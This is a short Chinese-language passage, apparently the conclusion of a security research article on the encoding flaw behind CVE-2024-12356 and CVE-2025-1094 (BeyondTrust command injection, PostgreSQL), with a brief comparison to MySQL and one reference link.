本文分析了因编码问题引起的CVE-2024-12356CVE-2025-1094,解释了产生BeyondTrust命令注入的核心编码问题。基于该编码问题的思想,笔者对比分析了Mysql的代码以及补丁修复后的PostgreSQL代码,并进行了一定的拓展分析。Mysql暂未发现问题,但PostgreSQL在特定"使用错误“场景下,依旧会存在类似CVE-2025-1094的问题。

五、参考链接

  1. CVE-2024-12356 | AttackerKB